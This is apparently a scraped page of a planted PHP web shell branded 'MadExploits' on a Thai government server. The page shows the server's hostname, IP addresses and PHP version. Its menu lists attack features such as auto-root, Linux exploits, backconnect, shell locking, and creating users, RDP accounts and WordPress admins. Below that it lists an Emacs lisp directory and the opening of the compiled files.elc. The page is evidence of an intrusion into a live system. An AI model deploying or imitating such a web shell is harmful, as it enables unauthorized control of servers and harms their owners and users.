Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
emacs /
23.1 /
lisp /
[ HOME SHELL ]
Name
Size
Permission
Action
calc
[ DIR ]
drwxr-xr-x
calendar
[ DIR ]
drwxr-xr-x
emacs-lisp
[ DIR ]
drwxr-xr-x
emulation
[ DIR ]
drwxr-xr-x
erc
[ DIR ]
drwxr-xr-x
eshell
[ DIR ]
drwxr-xr-x
gnus
[ DIR ]
drwxr-xr-x
international
[ DIR ]
drwxr-xr-x
language
[ DIR ]
drwxr-xr-x
mail
[ DIR ]
drwxr-xr-x
mh-e
[ DIR ]
drwxr-xr-x
net
[ DIR ]
drwxr-xr-x
nxml
[ DIR ]
drwxr-xr-x
obsolete
[ DIR ]
drwxr-xr-x
org
[ DIR ]
drwxr-xr-x
play
[ DIR ]
drwxr-xr-x
progmodes
[ DIR ]
drwxr-xr-x
term
[ DIR ]
drwxr-xr-x
textmodes
[ DIR ]
drwxr-xr-x
url
[ DIR ]
drwxr-xr-x
COPYING
34.32
KB
-rw-r--r--
README
538
B
-rw-r--r--
abbrev.elc
29.69
KB
-rw-r--r--
abbrevlist.elc
1.12
KB
-rw-r--r--
add-log.elc
35.21
KB
-rw-r--r--
align.elc
38.38
KB
-rw-r--r--
allout.elc
208.3
KB
-rw-r--r--
ansi-color.elc
16.3
KB
-rw-r--r--
apropos.elc
31.93
KB
-rw-r--r--
arc-mode.elc
54.72
KB
-rw-r--r--
array.elc
25.83
KB
-rw-r--r--
autoarg.elc
5.98
KB
-rw-r--r--
autoinsert.elc
12.01
KB
-rw-r--r--
autorevert.elc
18.25
KB
-rw-r--r--
avoid.elc
10.17
KB
-rw-r--r--
battery.elc
17.98
KB
-rw-r--r--
bindings.elc
39.04
KB
-rw-r--r--
bookmark.elc
55.9
KB
-rw-r--r--
bs.elc
48.34
KB
-rw-r--r--
buff-menu.elc
28
KB
-rw-r--r--
button.elc
13.92
KB
-rw-r--r--
calculator.elc
49.18
KB
-rw-r--r--
case-table.elc
4.42
KB
-rw-r--r--
cdl.elc
1.26
KB
-rw-r--r--
chistory.elc
5.75
KB
-rw-r--r--
cmuscheme.elc
17.43
KB
-rw-r--r--
comint.elc
100.97
KB
-rw-r--r--
compare-w.elc
10.98
KB
-rw-r--r--
complete.elc
23.62
KB
-rw-r--r--
completion.elc
45.06
KB
-rw-r--r--
composite.elc
29.39
KB
-rw-r--r--
cus-dep.elc
5.04
KB
-rw-r--r--
cus-edit.elc
129.67
KB
-rw-r--r--
cus-face.elc
10.46
KB
-rw-r--r--
cus-load.el
63.45
KB
-rw-r--r--
cus-start.elc
10.67
KB
-rw-r--r--
cus-theme.elc
13.7
KB
-rw-r--r--
custom.elc
36.46
KB
-rw-r--r--
cvs-status.elc
23
KB
-rw-r--r--
dabbrev.elc
23.08
KB
-rw-r--r--
delim-col.elc
8.41
KB
-rw-r--r--
delsel.elc
5.24
KB
-rw-r--r--
descr-text.elc
20.69
KB
-rw-r--r--
desktop.elc
34.52
KB
-rw-r--r--
dframe.elc
22.51
KB
-rw-r--r--
diff-mode.elc
55.58
KB
-rw-r--r--
diff.elc
5.51
KB
-rw-r--r--
dired-aux.elc
67.5
KB
-rw-r--r--
dired-x.elc
44.96
KB
-rw-r--r--
dired.elc
96.48
KB
-rw-r--r--
dirtrack.elc
7.39
KB
-rw-r--r--
disp-table.elc
8.33
KB
-rw-r--r--
dnd.elc
7.04
KB
-rw-r--r--
doc-view.elc
36.01
KB
-rw-r--r--
dos-fns.elc
5.53
KB
-rw-r--r--
dos-vars.elc
1.24
KB
-rw-r--r--
dos-w32.elc
11.12
KB
-rw-r--r--
double.elc
4.13
KB
-rw-r--r--
ebuff-menu.elc
9.11
KB
-rw-r--r--
echistory.elc
4.93
KB
-rw-r--r--
ediff-diff.elc
35.54
KB
-rw-r--r--
ediff-help.elc
11.47
KB
-rw-r--r--
ediff-hook.elc
5.89
KB
-rw-r--r--
ediff-init.elc
60.88
KB
-rw-r--r--
ediff-merg.elc
10.04
KB
-rw-r--r--
ediff-mult.elc
58.31
KB
-rw-r--r--
ediff-ptch.elc
18.63
KB
-rw-r--r--
ediff-util.elc
118.44
KB
-rw-r--r--
ediff-vers.elc
4.74
KB
-rw-r--r--
ediff-wind.elc
30.56
KB
-rw-r--r--
ediff.elc
36.28
KB
-rw-r--r--
edmacro.elc
21.45
KB
-rw-r--r--
ehelp.elc
11.03
KB
-rw-r--r--
electric.elc
2.81
KB
-rw-r--r--
elide-head.elc
2.8
KB
-rw-r--r--
emacs-lock.elc
2.77
KB
-rw-r--r--
emerge.elc
80.16
KB
-rw-r--r--
env.elc
5.69
KB
-rw-r--r--
epa-dired.elc
1.87
KB
-rw-r--r--
epa-file.elc
6.77
KB
-rw-r--r--
epa-hook.elc
4.28
KB
-rw-r--r--
epa-mail.elc
7.04
KB
-rw-r--r--
epa.elc
34.03
KB
-rw-r--r--
epg-config.elc
4.01
KB
-rw-r--r--
epg.elc
85.05
KB
-rw-r--r--
expand.elc
9.42
KB
-rw-r--r--
ezimage.elc
9.2
KB
-rw-r--r--
face-remap.elc
13.15
KB
-rw-r--r--
facemenu.elc
23.61
KB
-rw-r--r--
faces.elc
81.51
KB
-rw-r--r--
ffap.elc
46.14
KB
-rw-r--r--
filecache.elc
16.1
KB
-rw-r--r--
files.elc
175.25
KB
-rw-r--r--
filesets.elc
73.03
KB
-rw-r--r--
find-cmd.elc
4.94
KB
-rw-r--r--
find-dired.elc
7.4
KB
-rw-r--r--
find-file.elc
18.68
KB
-rw-r--r--
find-lisp.elc
7.42
KB
-rw-r--r--
finder-inf.el
93.47
KB
-rw-r--r--
finder.elc
12.11
KB
-rw-r--r--
flow-ctrl.elc
2.44
KB
-rw-r--r--
foldout.elc
7.6
KB
-rw-r--r--
follow.elc
37.11
KB
-rw-r--r--
font-core.elc
12.92
KB
-rw-r--r--
font-lock.elc
61.1
KB
-rw-r--r--
format-spec.elc
1.98
KB
-rw-r--r--
format.elc
27.73
KB
-rw-r--r--
forms-d2.el
3.13
KB
-rw-r--r--
forms-pass.el
742
B
-rw-r--r--
forms.elc
35.13
KB
-rw-r--r--
frame.elc
48.66
KB
-rw-r--r--
fringe.elc
8.01
KB
-rw-r--r--
generic-x.elc
44.25
KB
-rw-r--r--
gs.elc
3.93
KB
-rw-r--r--
help-at-pt.elc
11.27
KB
-rw-r--r--
help-fns.elc
21.77
KB
-rw-r--r--
help-macro.elc
4.37
KB
-rw-r--r--
help-mode.elc
19.38
KB
-rw-r--r--
help.elc
40.91
KB
-rw-r--r--
hex-util.elc
1.48
KB
-rw-r--r--
hexl.elc
32.06
KB
-rw-r--r--
hi-lock.elc
23.27
KB
-rw-r--r--
hilit-chg.elc
28.02
KB
-rw-r--r--
hippie-exp.elc
23.39
KB
-rw-r--r--
hl-line.elc
7.71
KB
-rw-r--r--
ibuf-ext.elc
54.62
KB
-rw-r--r--
ibuf-macs.elc
11.65
KB
-rw-r--r--
ibuffer.elc
91.96
KB
-rw-r--r--
icomplete.elc
10.36
KB
-rw-r--r--
ido.elc
110.93
KB
-rw-r--r--
ielm.elc
17.67
KB
-rw-r--r--
iimage.elc
4.06
KB
-rw-r--r--
image-dired.elc
82.24
KB
-rw-r--r--
image-file.elc
6.11
KB
-rw-r--r--
image-mode.elc
14.54
KB
-rw-r--r--
image.elc
17.09
KB
-rw-r--r--
imenu.elc
24.8
KB
-rw-r--r--
indent.elc
17
KB
-rw-r--r--
info-look.elc
26.13
KB
-rw-r--r--
info-xref.elc
7.04
KB
-rw-r--r--
info.elc
119.11
KB
-rw-r--r--
informat.elc
9.69
KB
-rw-r--r--
isearch.elc
76.23
KB
-rw-r--r--
isearchb.elc
4.92
KB
-rw-r--r--
iswitchb.elc
32.11
KB
-rw-r--r--
jit-lock.elc
17.93
KB
-rw-r--r--
jka-cmpr-hook.elc
11.67
KB
-rw-r--r--
jka-compr.elc
12.64
KB
-rw-r--r--
json.elc
13.04
KB
-rw-r--r--
kermit.elc
2.96
KB
-rw-r--r--
kmacro.elc
31.07
KB
-rw-r--r--
ldefs-boot.el
1.17
MB
-rw-r--r--
ledit.elc
4.74
KB
-rw-r--r--
linum.elc
9.56
KB
-rw-r--r--
loaddefs.el
1.17
MB
-rw-r--r--
loadhist.elc
8.65
KB
-rw-r--r--
loadup.el
12.67
KB
-rw-r--r--
locate.elc
17.81
KB
-rw-r--r--
log-edit.elc
24.93
KB
-rw-r--r--
log-view.elc
14.06
KB
-rw-r--r--
longlines.elc
14.94
KB
-rw-r--r--
lpr.elc
8.61
KB
-rw-r--r--
ls-lisp.elc
17.35
KB
-rw-r--r--
macros.elc
6.99
KB
-rw-r--r--
makesum.elc
2.16
KB
-rw-r--r--
man.elc
40.03
KB
-rw-r--r--
master.elc
4.52
KB
-rw-r--r--
mb-depth.elc
3.12
KB
-rw-r--r--
md4.elc
8.14
KB
-rw-r--r--
menu-bar.elc
67.01
KB
-rw-r--r--
midnight.elc
8.92
KB
-rw-r--r--
minibuf-eldef.elc
5.15
KB
-rw-r--r--
minibuffer.elc
42.75
KB
-rw-r--r--
misc.elc
3.67
KB
-rw-r--r--
misearch.elc
8.96
KB
-rw-r--r--
mouse-copy.elc
4.07
KB
-rw-r--r--
mouse-drag.elc
7.33
KB
-rw-r--r--
mouse-sel.elc
20.93
KB
-rw-r--r--
mouse.elc
60.03
KB
-rw-r--r--
msb.elc
27.27
KB
-rw-r--r--
mwheel.elc
9.41
KB
-rw-r--r--
newcomment.elc
32.76
KB
-rw-r--r--
novice.elc
4.75
KB
-rw-r--r--
outline.elc
34.54
KB
-rw-r--r--
paren.elc
6.43
KB
-rw-r--r--
password-cache.elc
3.58
KB
-rw-r--r--
patcomp.el
775
B
-rw-r--r--
paths.el
7.28
KB
-rw-r--r--
pcmpl-cvs.elc
6
KB
-rw-r--r--
pcmpl-gnu.elc
8.21
KB
-rw-r--r--
pcmpl-linux.elc
3.17
KB
-rw-r--r--
pcmpl-rpm.elc
7.5
KB
-rw-r--r--
pcmpl-unix.elc
5.44
KB
-rw-r--r--
pcomplete.elc
34.1
KB
-rw-r--r--
pcvs-defs.elc
16.27
KB
-rw-r--r--
pcvs-info.elc
25.83
KB
-rw-r--r--
pcvs-parse.elc
15.34
KB
-rw-r--r--
pcvs-util.elc
26.8
KB
-rw-r--r--
pcvs.elc
85.52
KB
-rw-r--r--
pgg-def.elc
2.78
KB
-rw-r--r--
pgg-gpg.elc
13.09
KB
-rw-r--r--
pgg-parse.elc
13.45
KB
-rw-r--r--
pgg-pgp.elc
7.64
KB
-rw-r--r--
pgg-pgp5.elc
7.68
KB
-rw-r--r--
pgg.elc
18.01
KB
-rw-r--r--
printing.elc
157.56
KB
-rw-r--r--
proced.elc
57.95
KB
-rw-r--r--
ps-bdf.elc
13.34
KB
-rw-r--r--
ps-def.elc
3.09
KB
-rw-r--r--
ps-mule.elc
36.17
KB
-rw-r--r--
ps-print.elc
145.59
KB
-rw-r--r--
ps-samp.elc
5.5
KB
-rw-r--r--
recentf.elc
49.04
KB
-rw-r--r--
rect.elc
10.79
KB
-rw-r--r--
register.elc
10.69
KB
-rw-r--r--
repeat.elc
6.05
KB
-rw-r--r--
replace.elc
55.02
KB
-rw-r--r--
reposition.elc
2.88
KB
-rw-r--r--
reveal.elc
6.61
KB
-rw-r--r--
rfn-eshadow.elc
7.12
KB
-rw-r--r--
rot13.elc
2.6
KB
-rw-r--r--
ruler-mode.elc
22.48
KB
-rw-r--r--
s-region.elc
3.3
KB
-rw-r--r--
savehist.elc
10.57
KB
-rw-r--r--
saveplace.elc
7.51
KB
-rw-r--r--
sb-image.elc
2.51
KB
-rw-r--r--
scroll-all.elc
4.05
KB
-rw-r--r--
scroll-bar.elc
11.47
KB
-rw-r--r--
scroll-lock.elc
4.64
KB
-rw-r--r--
select.elc
11.8
KB
-rw-r--r--
server.elc
39.79
KB
-rw-r--r--
ses.elc
87.39
KB
-rw-r--r--
sha1.elc
8
KB
-rw-r--r--
shadowfile.elc
22.61
KB
-rw-r--r--
shell.elc
34.08
KB
-rw-r--r--
simple.elc
196.35
KB
-rw-r--r--
skeleton.elc
15.78
KB
-rw-r--r--
smerge-mode.elc
33.61
KB
-rw-r--r--
sort.elc
12.94
KB
-rw-r--r--
soundex.elc
1.34
KB
-rw-r--r--
speedbar.elc
115.06
KB
-rw-r--r--
startup.elc
60.78
KB
-rw-r--r--
strokes.elc
44.11
KB
-rw-r--r--
subdirs.el
426
B
-rw-r--r--
subr.elc
113.48
KB
-rw-r--r--
t-mouse.elc
3.38
KB
-rw-r--r--
tabify.elc
2
KB
-rw-r--r--
talk.elc
3.19
KB
-rw-r--r--
tar-mode.elc
52.24
KB
-rw-r--r--
tempo.elc
18.63
KB
-rw-r--r--
term.elc
99.67
KB
-rw-r--r--
terminal.elc
31.36
KB
-rw-r--r--
thingatpt.elc
10.84
KB
-rw-r--r--
thumbs.elc
26.23
KB
-rw-r--r--
time-stamp.elc
21.03
KB
-rw-r--r--
time.elc
18.2
KB
-rw-r--r--
timezone.elc
10.99
KB
-rw-r--r--
tmm.elc
13.9
KB
-rw-r--r--
tool-bar.elc
9.69
KB
-rw-r--r--
tooltip.elc
12.35
KB
-rw-r--r--
tree-widget.elc
20.87
KB
-rw-r--r--
tutorial.elc
21.41
KB
-rw-r--r--
type-break.elc
35.61
KB
-rw-r--r--
uniquify.elc
19.91
KB
-rw-r--r--
userlock.elc
4.69
KB
-rw-r--r--
vc-annotate.elc
22.68
KB
-rw-r--r--
vc-arch.elc
17.58
KB
-rw-r--r--
vc-bzr.elc
26.84
KB
-rw-r--r--
vc-cvs.elc
32.19
KB
-rw-r--r--
vc-dav.elc
5.3
KB
-rw-r--r--
vc-dir.elc
39.5
KB
-rw-r--r--
vc-dispatcher.elc
14.61
KB
-rw-r--r--
vc-git.elc
32.75
KB
-rw-r--r--
vc-hg.elc
25.95
KB
-rw-r--r--
vc-hooks.elc
32.75
KB
-rw-r--r--
vc-mtn.elc
10.95
KB
-rw-r--r--
vc-rcs.elc
34.99
KB
-rw-r--r--
vc-sccs.elc
13.24
KB
-rw-r--r--
vc-svn.elc
20.57
KB
-rw-r--r--
vc.elc
59.4
KB
-rw-r--r--
vcursor.elc
23.44
KB
-rw-r--r--
version.el
3.37
KB
-rw-r--r--
view.elc
35.96
KB
-rw-r--r--
vt-control.elc
2.06
KB
-rw-r--r--
vt100-led.elc
1.53
KB
-rw-r--r--
w32-fns.elc
15.82
KB
-rw-r--r--
w32-vars.elc
5.53
KB
-rw-r--r--
wdired.elc
21.69
KB
-rw-r--r--
whitespace.elc
59.83
KB
-rw-r--r--
wid-browse.elc
7.89
KB
-rw-r--r--
wid-edit.elc
104.76
KB
-rw-r--r--
widget.elc
1.37
KB
-rw-r--r--
windmove.elc
9.57
KB
-rw-r--r--
window.elc
57.4
KB
-rw-r--r--
winner.elc
11.61
KB
-rw-r--r--
woman.elc
107.73
KB
-rw-r--r--
x-dnd.elc
19.35
KB
-rw-r--r--
xml.elc
18.38
KB
-rw-r--r--
xt-mouse.elc
7.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : files.elc
;ELC ;;; Compiled by mockbuild@c6b8.bsys.dev.centos.org on Thu Feb 19 13:02:14 2015 ;;; from file /builddir/build/BUILD/emacs-23.1/lisp/files.el ;;; in Emacs version 23.1 ;;; with all optimizations. ;;; This file uses dynamic docstrings, first added in Emacs 19.29. (if (and (boundp 'emacs-version) (< (aref emacs-version (1- (length emacs-version))) ?A) (or (and (boundp 'epoch::version) epoch::version) (string-lessp emacs-version "19.29"))) (error "`files.el' was compiled for Emacs 19.29 or later")) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; (byte-code "\300\301\302\303\304\305%\210\300\306\302\307\304\305%\207" [custom-declare-group backup nil "Backups of edited data files." :group files find-file "Finding files."] 6) #@174 Non-nil means delete auto-save file when a buffer is saved or killed. Note that the auto-save file will not be deleted if the buffer is killed when it has unsaved changes. (custom-declare-variable 'delete-auto-save-files 't '(#$ . 781) :type 'boolean :group 'auto-save) #@624 Alist of abbreviations for file directories. A list of elements of the form (FROM . TO), each meaning to replace FROM with TO when it appears in a directory name. This replacement is done when setting up the default directory of a newly visited file. *Every* FROM string should start with `^'. FROM and TO should be equivalent names, which refer to the same directory. Do not use `~' in the TO strings; they should be ordinary absolute directory names. Use this feature when you have directories which you normally refer to via absolute symbolic links. Make TO the name of the link, and FROM the name it is linked to. (custom-declare-variable 'directory-abbrev-alist 'nil '(#$ . 1059) :type '(repeat (cons :format "%v" :value (#1="" . #1#) (regexp :tag "From") (regexp :tag "To"))) :group 'abbrev :group 'find-file) #@855 Non-nil means make a backup of a file the first time it is saved. This can be done by renaming the file or by copying. Renaming means that Emacs renames the existing file so that it is a backup file, then writes the buffer into a new file. Any other names that the old file had will now refer to the backup file. The new file is owned by you and its group is defaulted. Copying means that Emacs copies the existing file into the backup file, then writes the buffer on top of the existing file. Any other names that the old file had will now refer to the new (edited) file. The file's owner and group are unchanged. The choice of renaming or copying is controlled by the variables `backup-by-copying', `backup-by-copying-when-linked', `backup-by-copying-when-mismatch' and `backup-by-copying-when-privileged-mismatch'. See also `backup-inhibited'. (custom-declare-variable 'make-backup-files 't '(#$ . 1887) :type 'boolean :group 'backup) #@181 Non-nil means don't make a backup, regardless of the other parameters. This variable is intended for use by making it local to a buffer. But it is local only if you make it local. (defvar backup-inhibited nil (#$ . 2839)) (put 'backup-inhibited 'permanent-local t) #@109 Non-nil means always use copying to create backup files. See documentation of variable `make-backup-files'. (custom-declare-variable 'backup-by-copying 'nil '(#$ . 3111) :type 'boolean :group 'backup) #@212 Non-nil means use copying to create backups for files with multiple names. This causes the alternate names to refer to the latest version as edited. This variable is relevant only if `backup-by-copying' is nil. (custom-declare-variable 'backup-by-copying-when-linked 'nil '(#$ . 3319) :type 'boolean :group 'backup) #@388 Non-nil means create backups by copying if this preserves owner or group. Renaming may still be used (subject to control of other variables) when it would not result in changing the owner or group of the file; that is, for files which are owned by you and whose group matches the default for a new file created there by you. This variable is relevant only if `backup-by-copying' is nil. (custom-declare-variable 'backup-by-copying-when-mismatch 'nil '(#$ . 3642) :type 'boolean :group 'backup) #@507 Non-nil means create backups by copying to preserve a privileged owner. Renaming may still be used (subject to control of other variables) when it would not result in changing the owner of the file or if the owner has a user id greater than the value of this variable. This is useful when low-numbered uid's are used for special system users (such as root) that must maintain ownership of certain files. This variable is relevant only if `backup-by-copying' and `backup-by-copying-when-mismatch' are nil. (custom-declare-variable 'backup-by-copying-when-privileged-mismatch '200 '(#$ . 4143) :type '(choice (const nil) integer) :group 'backup) #@152 Predicate that looks at a file name and decides whether to make backups. Called with an absolute file name as argument, it returns t to enable backup. (defvar backup-enable-predicate 'normal-backup-enable-predicate (#$ . 4795)) #@149 Non-nil in a buffer means always offer to save buffer on exit. Do so even if the buffer is not visiting a file. Automatically local in all buffers. (custom-declare-variable 'buffer-offer-save 'nil '(#$ . 5030) :type 'boolean :group 'backup) (make-variable-buffer-local 'buffer-offer-save) #@210 Non-nil means find a file under alternative names, in existing buffers. This means if any existing buffer is visiting the file you want under another name, you get the existing buffer instead of a new buffer. (custom-declare-variable 'find-file-existing-other-name 't '(#$ . 5326) :type 'boolean :group 'find-file) #@173 Non-nil means visit a file under its truename. The truename of a file is found by chasing all links both at the file level and at the levels of the containing directories. (custom-declare-variable 'find-file-visit-truename 'nil '(#$ . 5648) :type 'boolean :group 'find-file) (put 'find-file-visit-truename 'safe-local-variable 'booleanp) #@281 Specify which files should be reverted without query. The value is a list of regular expressions. If the file name matches one of these regular expressions, then `revert-buffer' reverts the file without querying if the file has changed on disk and you have not edited the buffer. (custom-declare-variable 'revert-without-query 'nil '(#$ . 5993) :type '(repeat regexp) :group 'find-file) #@235 The device number and file number of the file visited in the current buffer. The value is a list of the form (FILENUM DEVNUM). This pair of numbers uniquely identifies the file. If the buffer is visiting a new file, the value is nil. (defvar buffer-file-number nil (#$ . 6387)) (byte-code "\300\301!\210\302\301\303\304#\207" [make-variable-buffer-local buffer-file-number put permanent-local t] 4) #@68 Non-nil means that `buffer-file-number' uniquely identifies files. (defvar buffer-file-numbers-unique (byte-code "\301>?\207" [system-type (windows-nt)] 2) (#$ . 6792)) #@53 Non-nil if visited file was read-only when visited. (defvar buffer-file-read-only nil (#$ . 6968)) (make-variable-buffer-local 'buffer-file-read-only) #@44 The directory for writing temporary files. (custom-declare-variable 'temporary-file-directory '(file-name-as-directory (cond ((memq system-type '(ms-dos windows-nt)) (or (getenv "TEMP") (getenv "TMPDIR") (getenv "TMP") "c:/temp")) (t (or (getenv "TMPDIR") (getenv "TMP") (getenv "TEMP") "/tmp")))) '(#$ . 7125) :group 'files :type 'directory) #@254 The directory for writing small temporary files. If non-nil, this directory is used instead of `temporary-file-directory' by programs that create small temporary files. This is for systems that have fast storage with limited space, such as a RAM disk. (custom-declare-variable 'small-temporary-file-directory '(if (eq system-type 'ms-dos) (getenv "TMPDIR")) '(#$ . 7475) :group 'files :type '(choice (const nil) directory)) #@25 The system null device. (defvar null-device "/dev/null" (#$ . 7906)) #@71 Regexp recognizing file names which aren't allowed by the filesystem. (defvar file-name-invalid-regexp (byte-code "\301=\203 \302 \204 \303\207\304>\203 \305\207\306\207" [system-type ms-dos msdos-long-file-names "^\\([^A-Z[-`a-z]\\|..+\\)?:\\|[+, ;=|<>\"?*]\\|\\[\\|\\]\\|[ -]\\|\\(/\\.\\.?[^/]\\)\\|\\(/[^/.]+\\.[^/.]*\\.\\)" (ms-dos windows-nt cygwin) "^\\([^A-Z[-`a-z]\\|..+\\)?:\\|[|<>\"?* -]" "[ ]"] 2) (#$ . 7981)) #@769 Non-nil means protect against I/O errors while saving files. Some modes set this non-nil in particular buffers. This feature works by writing the new contents into a temporary file and then renaming the temporary file to replace the original. In this way, any I/O error in writing leaves the original untouched, and there is never any instant where the file is nonexistent. Note that this feature forces backups to be made by copying. Yet, at the same time, saving a precious file breaks any hard links between it and other files. This feature is advisory: for example, if the directory in which the file is being saved is not writable, Emacs may ignore a non-nil value of `file-precious-flag' and write directly into the file. See also: `break-hardlink-on-save'. (custom-declare-variable 'file-precious-flag 'nil '(#$ . 8417) :type 'boolean :group 'backup) #@604 Non-nil means when saving a file that exists under several names (i.e., has multiple hardlinks), break the hardlink associated with `buffer-file-name' and write to a new file, so that the other instances of the file are not affected by the save. If `buffer-file-name' refers to a symlink, do not break the symlink. Unlike `file-precious-flag', `break-hardlink-on-save' is not advisory. For example, if the directory in which a file is being saved is not itself writable, then error instead of saving in some hardlink-nonbreaking way. See also `backup-by-copying' and `backup-by-copying-when-linked'. (custom-declare-variable 'break-hardlink-on-save 'nil '(#$ . 9286) :type 'boolean :group 'files :version "23.1") #@200 Control use of version numbers for backup files. When t, make numeric backup versions unconditionally. When nil, make them for files that have some already. The value `never' means do not make them. (custom-declare-variable 'version-control 'nil '(#$ . 10009) :type '(choice (const :tag "Never" never) (const :tag "If existing" nil) (other :tag "Always" t)) :group 'backup :group 'vc) (put 'version-control 'safe-local-variable '(lambda (x) (or (booleanp x) (equal x 'never)))) #@54 When cleaning directory, number of versions to keep. (custom-declare-variable 'dired-kept-versions '2 '(#$ . 10493) :type 'integer :group 'backup :group 'dired) #@113 If t, delete excess backup versions silently. If nil, ask confirmation. Any other value prevents any trimming. (custom-declare-variable 'delete-old-versions 'nil '(#$ . 10661) :type '(choice (const :tag "Delete" t) (const :tag "Ask" nil) (other :tag "Leave" other)) :group 'backup) #@71 Number of oldest versions to keep when a new numbered backup is made. (custom-declare-variable 'kept-old-versions '2 '(#$ . 10950) :type 'integer :group 'backup) (put 'kept-old-versions 'safe-local-variable 'integerp) #@109 Number of newest versions to keep when a new numbered backup is made. Includes the new backup. Must be > 0 (custom-declare-variable 'kept-new-versions '2 '(#$ . 11175) :type 'integer :group 'backup) (put 'kept-new-versions 'safe-local-variable 'integerp) #@473 Whether to add a newline automatically at the end of the file. A value of t means do this only when the file is about to be saved. A value of `visit' means do this right after the file is visited. A value of `visit-save' means do it at both of those times. Any other non-nil value means ask user whether to add a newline, when saving. A value of nil means don't add newlines. Certain major modes set this locally to the value obtained from `mode-require-final-newline'. (custom-declare-variable 'require-final-newline 'nil '(#$ . 11438) :type '(choice (const :tag "When visiting" visit) (const :tag "When saving" t) (const :tag "When visiting or saving" visit-save) (const :tag "Don't add newlines" nil) (other :tag "Ask each time" ask)) :group 'editing-basics) #@834 Whether to add a newline at end of file, in certain major modes. Those modes set `require-final-newline' to this value when you enable them. They do so because they are often used for files that are supposed to end in newlines, and the question is how to arrange that. A value of t means do this only when the file is about to be saved. A value of `visit' means do this right after the file is visited. A value of `visit-save' means do it at both of those times. Any other non-nil value means ask user whether to add a newline, when saving. A value of nil means do not add newlines. That is a risky choice in this variable since this value is used for modes for files that ought to have final newlines. So if you set this to nil, you must explicitly check and add a final newline, whenever you save a file that really needs one. (custom-declare-variable 'mode-require-final-newline 't '(#$ . 12209) :type '(choice (const :tag "When visiting" visit) (const :tag "When saving" t) (const :tag "When visiting or saving" visit-save) (const :tag "Don't add newlines" nil) (other :tag "Ask each time" ask)) :group 'editing-basics :version "22.1") #@71 Non-nil says by default do auto-saving of every file-visiting buffer. (custom-declare-variable 'auto-save-default 't '(#$ . 13359) :type 'boolean :group 'auto-save) #@991 Transforms to apply to buffer file name before making auto-save file name. Each transform is a list (REGEXP REPLACEMENT UNIQUIFY): REGEXP is a regular expression to match against the file name. If it matches, `replace-match' is used to replace the matching part with REPLACEMENT. If the optional element UNIQUIFY is non-nil, the auto-save file name is constructed by taking the directory part of the replaced file-name, concatenated with the buffer file name with all directory separators changed to `!' to prevent clashes. This will not work correctly if your filesystem truncates the resulting name. All the transforms in the list are tried, in the order they are listed. When one transform applies, its result is final; no further transforms are tried. The default value is set up to put the auto-save file into the temporary directory (see the variable `temporary-file-directory') for editing a remote file. On MS-DOS filesystems without long names this variable is always ignored. (custom-declare-variable 'auto-save-file-name-transforms '`(("\\`/[^/]*:\\([^/]*/\\)*\\([^/]*\\)\\'" ,(concat temporary-file-directory "\\2") t)) '(#$ . 13531) :group 'auto-save :type '(repeat (list (string :tag "Regexp") (string :tag "Replacement") (boolean :tag "Uniquify"))) :version "21.1") #@108 Non-nil means save word abbrevs too when files are saved. If `silently', don't ask the user before saving. (custom-declare-variable 'save-abbrevs 't '(#$ . 14823) :type '(choice (const t) (const nil) (const silently)) :group 'abbrev) #@124 Non-nil means allow `find-file' to visit directories. To visit the directory, `find-file' runs `find-directory-functions'. (custom-declare-variable 'find-file-run-dired 't '(#$ . 15064) :type 'boolean :group 'find-file) #@171 List of functions to try in sequence to visit a directory. Each function is called with the directory name as the sole argument and should return either a buffer or nil. (custom-declare-variable 'find-directory-functions ''(cvs-dired-noselect dired-noselect) '(#$ . 15291) :type '(hook :options (cvs-dired-noselect dired-noselect)) :group 'find-file) #@256 List of functions to be called for `find-file' on nonexistent file. These functions are called as soon as the error is detected. Variable `buffer-file-name' is already set up. The functions are called in the order given until one of them returns non-nil. (defvar find-file-not-found-functions nil (#$ . 15649)) (byte-code "\300\301\302\303#\210\304\301\302\305#\210\300\306\307\303#\210\304\306\307\305#\207" [defvaralias find-file-not-found-hooks find-file-not-found-functions nil make-obsolete-variable "22.1" find-file-hooks find-file-hook] 4) #@166 List of functions to be called after a buffer is loaded from a file. The buffer's local variables (if any) will have been processed before the functions are called. (custom-declare-variable 'find-file-hook 'nil '(#$ . 16203) :group 'find-file :type 'hook :options '(auto-insert) :version "22.1") #@744 List of functions to be called before writing out a buffer to a file. If one of them returns non-nil, the file is considered already written and the rest are not called. These hooks are considered to pertain to the visited file. So any buffer-local binding of this variable is discarded if you change the visited file name with \[set-visited-file-name], but not when you change the major mode. This hook is not run if any of the functions in `write-contents-functions' returns non-nil. Both hooks pertain to how to save a buffer to file, for instance, choosing a suitable coding system and setting mode bits. (See Info node `(elisp)Saving Buffers'.) To perform various checks or updates before the buffer is saved, use `before-save-hook'. (defvar write-file-functions nil (#$ . 16506)) (byte-code "\301\302\303\304#\210\305\306\302\307#\210\310\306\302\311#\210\312B\313\312!\204! \314\312\307\"\210\315\312!\210\301\312\303\304#\210\310\312\302\311#\207" [current-load-list put write-file-functions permanent-local t defvaralias write-file-hooks nil make-obsolete-variable "22.1" local-write-file-hooks default-boundp set-default make-variable-buffer-local] 4) #@716 List of functions to be called before writing out a buffer to a file. If one of them returns non-nil, the file is considered already written and the rest are not called and neither are the functions in `write-file-functions'. This variable is meant to be used for hooks that pertain to the buffer's contents, not to the particular visited file; thus, `set-visited-file-name' does not clear this variable; but changing the major mode does clear it. For hooks that _do_ pertain to the particular visited file, use `write-file-functions'. Both this variable and `write-file-functions' relate to how a buffer is saved to file. To perform various checks or updates before the buffer is saved, use `before-save-hook'. (defvar write-contents-functions nil (#$ . 17681)) (byte-code "\300\301!\210\302\303\301\304#\210\305\303\301\306#\207" [make-variable-buffer-local write-contents-functions defvaralias write-contents-hooks nil make-obsolete-variable "22.1"] 4) #@1006 Control use of local variables in files you visit. The value can be t, nil, :safe, :all, or something else. A value of t means file local variables specifications are obeyed if all the specified 